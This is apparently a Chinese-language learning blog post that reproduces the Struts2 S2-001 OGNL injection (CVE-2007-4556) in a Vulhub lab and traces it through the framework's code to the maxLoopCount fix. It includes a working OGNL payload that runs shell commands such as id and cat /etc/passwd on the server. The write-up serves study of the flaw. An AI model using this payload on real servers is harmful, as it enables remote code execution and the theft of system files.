前言
最近准备刷一波经典的 Struts2 的漏洞 . 但是 Struts2 的漏洞实在太多了 , 所以我准备从 phith0n 师傅的 Vulhub 中挑选几个来学习一下 , 具体进度还是看有没有空闲时间 .
现在网上关于 Struts2 漏洞的分析报告已经非常多了 , 在这里非常感谢各位前辈 ! 您们文章给了我很多思路与帮助 .
这是我第一次复现和分析 Java 漏洞( 之前曾经研究过 WebLogic RCE , 但是因为种种困难而放弃了 ) , 如果有哪里说的不正确或不恰当 , 非常欢迎您指出 .
如果您没有学习过 Struts2
框架 , 甚至没有学习过 Java
, 那么本文的思路一定会对您有所帮助 .
下面开始分析 Struts2 系列漏洞的源头 : S2-001
, CVE编号 : CVE-2007-4556
CVE-2007-4556
漏洞简介
该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行
这段内容是 phith0n 师傅在复现漏洞时引用的 , 原链接指向 Apache Struts 2 Wiki_S2_001 .
但是上述这段内容并不是完全正确的 . 实际上 , " 该漏洞因为用户提交表单数据并且验证失败时 " 这句话是错误的 , 表单验证失败并不是该漏洞产生的原因 , 但表单验证失败是该漏洞最可能出现的场景之一 .
在很多表单提交的场景中( 例如用户登录场景 ) , 如果 Struts2 框架配置了验证操作( 例如对用户名 , 密码的判断 ) , 并且用户输入了错误的数据 , 那么站点在验证完毕后 , 往往会将错误的数据返回到登录页面上 , 并告诉用户登录密码错误 . 而不会跳转到新的页面 .
正是因为这个习惯性的操作 , 使得表单验证失败成为了 S2-001 漏洞的高发区 , 在 Chybeta 师傅的 S2-001 分析报告中 , 专门提出了这个问题 .
事实上 , 在各大漏洞披露平台 , 都没有提到 " 表单验证失败 " 这个条件 . 因此不应当被误导 .
漏洞复现
Vulhub 漏洞复现
漏洞复现过程我们直接拿 Vulhub 上的 docker 环境 .
sudo docker-compose -f docker-compose.yml up
打开浏览器 , 访问 127.0.0.1:8000 , 即可看到漏洞验证界面 .
在 Username/Password 输入框中填写 %{1+1}
, 来判断漏洞是否存在.
如上图所示 , 如果 %{...}
中的表达式被解析并计算 , 那么说明此处存在 S2-001
远程代码执行漏洞 . 我们可以构造 Payload 进行利用 .
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"id"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),
#f.getWriter().close()
}
修改 Payload 即可执行任意代码 .
如果想要执行包含空格的命令 , 仅需要在 java.lang.String[]{"..."}
中添加新的参数 . 例如想要执行 ls -la
命令 , 就修改 Payload 为 java.lang.String[]{"ls","-la"}
.
分析环境搭建
网上比较主流的复现环境是使用 IDEA 来搭建的 . 本文环境是根据 Boogle 师傅的 java代码审计入门之s2-001复现分析 一文来搭建的 .
值得一提的是 : 搭建的环境运行时可能会产生一个警告并抛出异常 , 但其实不影响漏洞的分析和调试 . 页面可以正常访问 .
Tomcat告警 : java.lang.IllegalStateException: struts.properties missing
, 提示缺失了 struts.properties
文件 , 其实上该文件并不影响应用程序的正常运行 , 仅会在 Tomcat 启动时产生告警信息 .
# Struts 框架存在两个默认配置文件
1. Struts.xml : 用于应用程序的相关配置
2. Struts.properties : 用于 Struts2 运行时(Runtime)的配置
如果不想看到该条告警信息 , 仅需要在 struts.xml
同级的目录创建一个空白的 struts.properties
文件就可以了 .
至此 ,漏洞复现环境已经搭建完毕 , 我们访问 http://localhost:8000/Struts2_war_exploded/
即可进入漏洞环境 .
首先 , 通过 %{1+1}
这个表达式来验证漏洞是否存在 , 通过响应数据包可以看出 , 此处存在 S2-001
漏洞 .
确定漏洞存在后 , 我们构造 Payload 来执行任意代码 . 例如执行 cat /etc/passwd
命令
执行命令成功 !
漏洞分析
这是我第一次分析 JAVA 漏洞 , 所以我的分析过程可能和其他师傅不太一样 . 很多师傅都会在分析文档中详细介绍什么是 OGNL表达式 . 以及 OGNL 表达式的相关语法 .
但在简单学习了OGNL表达式后 , 我依然存在不少问题 . 以后可能会认真补习一下 JAVA 基础 . 但在本文中 , 我就只把 OGNL表达式 作为一个 会被解析的特殊格式字符串 来使用 , 其格式为 " %{...} "
.
如果您想知道更多有关 OGNL 表达式的内容 , 可以参考其它师傅的文章或者 IBM Developer_OGNL 语言介绍与实践
下面我们开始分析整个漏洞产生的原因 .
分析思路
-
触发漏洞的一个条件
根据 Apache Struts 2 Wiki 给出的漏洞代码 , 我们知道要想触发漏洞 , 就必须在提交表单时存在自定义标签 .
网上很多师傅在复现时使用了
<s:textfield />
这个自定义标签 . 刚才我们在搭建环境时使用的也是这个标签 , 我们跟踪这个标签 , 来看一下整个解析过程 .从代码中不难看出 , 自定义标签
<s:textfield />
来源于自定义标签库/struts-tags
, 该文件位于/WEB-INF/lib/struts2-core-2.0.1.jar!/META-INF/struts-tags.tld
. 我们查看该配置文件中的定义 . -
何时解析标签
从上图我们得知
textfield
自定义标签的实现类是org.apache.struts2.views.jsp.ui.TextFieldTag.class
该类中定义了关于
<s:textfield />
标签的各个属性参数 . 在 Struts2 框架中 , 解析标签是从doStartTag()
方法开始的 . 该方法定义于TextFieldTag
的父类AbstractUITag
的父类ComponentTagSupport
中 .当调用
doStartTag()
方法时 , Struts2 框架就会开始解析自定义标签 , 现在开始 , 我们通过 IDEA 调试代码 , 研究其具体的解析过程 , 以及漏洞产生的原因 .
IDEA 调试代码
这是我第一次使用IDEA , 也是我第一次调试 JAVA 代码 , 调试期间遇到了非常多的问题 . 可能现在还存在一些错误点 , 如果您发现 , 欢迎指正 !
-
分析前准备
首先开启 IDEA Debug 模式
复现漏洞时我们将 Payload 加载到 Password 参数中 , 因此这里我们先在
index.jsp
处的password
参数前打上断点 .现在可以在浏览器中重新输入
payload
并提交 , 为了便于观察 , 我们填充%{1+1}
作为测试代码 .此时程序已经停止运行了 , 我们取消
password
参数前的断点 , 在doStartTag()
函数前打上断点 , 然后按F9
将程序运行到新的断点处 .程序运行到
doStartTag()
处停止 . -
doStartTag()
函数分析现在进入了
doStartTag()
函数 , 通过F7
单步进入查看该函数逻辑 .至此 ,
doStartTag()
函数就执行完毕了 , 继续单步跟进 , 发现进入了doEndTag()
函数 . 不难发现 ,doStartTag()
函数中并不存在 OGNL 表达式的解析过程 . 因此漏洞的成因并不在该函数中 . -
doEndTag()
函数分析-
首先
doEndTag()
函数会调用end()
函数 , 我们跟进该函数 . -
在
end()
函数中 , 先调用了evaluateParams()
函数追踪该函数 , 发现该函数调用了
findString()
函数 , 注意这里一个赋值操作 .name
参数的值由null
变为了password
我们跟进
findString()
函数 -
findString()
函数中调用了findValue()
函数需要注意这里在传参数时 , 将
expr
参数赋值为" password "
, 我们跟进findValue()
函数 -
findValue()
函数分析可以看到 , 该函数先进行了一个条件判断 , 如果返回结果为
True
, 就将" password "
作为TextParseUtil.translateVariables()
函数的参数 . 因此我们重点关注这个条件判断 . 来看一下altSyntax()
函数的定义 .altSyntax()
函数直接调用isUseAltSyntax()
函数 , 因此我们追踪isUseAltSyntax()
函数可以看到 ,
altSyntax()
的返回结果为True
, 因此我们可以带上" password "
值进入到TextParseUtil.translateVariables()
函数中 .简单的介绍一下 altSyntax 功能
altSyntax 功能是 Struts 2 框架用于处理标签内容的一种新语法( 不同于普通的 HTML ) , 该功能主要作用在于支持对标签中的 OGNL 表达式进行解析并执行 . 该功能在struts2核心配置文件struts.properties中默认开启 .
-
translateVariables()
函数分析我们跟踪
translateVariables()
函数如果您看过其他的文章 , 就知道该函数正是漏洞产生的位置 . 来看一下该函数的逻辑是怎样的 .
首先 , 该函数会先对传入的参数进行基本的判断 , 比如确定该参数的长度 , 并预设几个参数 .
然后返回到
evaluateParams()
函数 , 并根据altSyntac
的值 , 给参数加上特殊标记 . 比如这里将" password "
转换为了 "%{password}
"接着再次进入
translateVariables()
函数 , 但此时expression
参数值已经变成了%{password}
此时进入下面的 While 循环 , 循环读取
" %{password} "
, 确定该字符串的最大长度 . 并把最后一个字符的位置赋值给end
参数下面对
" %{password} "
进行解析 , 首先去除了该参数值两侧的标记 , 然后调用FindValue()
函数对" password "
参数进行解析 , 获取其对应的参数值" %{1+1} "
, 并把该值赋给了参数o
其中具体的解析过程与 Struts2 的拦截器( Interceptor ) 有关 , 我自己不太了解 Struts2 框架 , 所以也就不多说了 . 这里您只需要知道 : 我们得到了
" password "
参数的值" %{1+1} "
.如果您想知道为何能通过
" %{password} "
获取到" %{1+1} "
, 可以参考 Dean 师傅的 Struts2框架: S2-001 漏洞详细分析 -
漏洞关键点 !
此时问题出现了 ! 由于这里存在一个
while(True)
永真循环 , 因此只要expression
参数的值为%{...}
这个格式 , 那么程序就会一直解析expression
参数的值正如上图所示 : expression 参数被赋值为
" %{1+1} "
, 然后该值会被继续解析 .因此 ,
%{1+1}
会被去掉两侧的标记 , 变为1+1
, 然后该运算表达式会被解析计算 , 返回2
. 并把该值赋给参数o
.同理 , 如果这里填写的是一段JAVA代码 , 那么这段代码也会被解析执行 , 远程代码执行漏洞产生的原因就在这 .
计算结果
2
不会再被解析 , 而是直接返回 .Struts2
框架调用addParameter()
函数来设置返回值 , 并将键值对输出到用户界面 .
至此 , 整个 S2-001 漏洞已经分析完毕 , 我们知道了脏数据是如何进入到 Struts2 框架的 , 如何被解析的 , 以及解析结果是如何返回的 .
-
漏洞修复
在 XWork 2.0.4
以上版本的 Struts2
框架中 , 添加了 maxLoopCount
参数 . 该参数限制了translateVariables()
函数中对 OGNL 表达式的递归解析 .
这样 , 我们就只会解析 " %{password} "
到 " %{1+1} "
, 而不会再解析 " %{1+1} "
了 . 这样从根本上修复了该漏洞 .
总结
本次的 Struts2_S2-001
漏洞复现与分析就到这里了 , 这是我第一次复现 Java 漏洞 , 由于我没有怎么学习过Java . 因此文章中可能还存在一些问题 . 如果您发现了, 欢迎指出 .
感谢其他研究 Struts2_S2-001
的前辈们 , 您们的文章给我了很多思路与帮助 .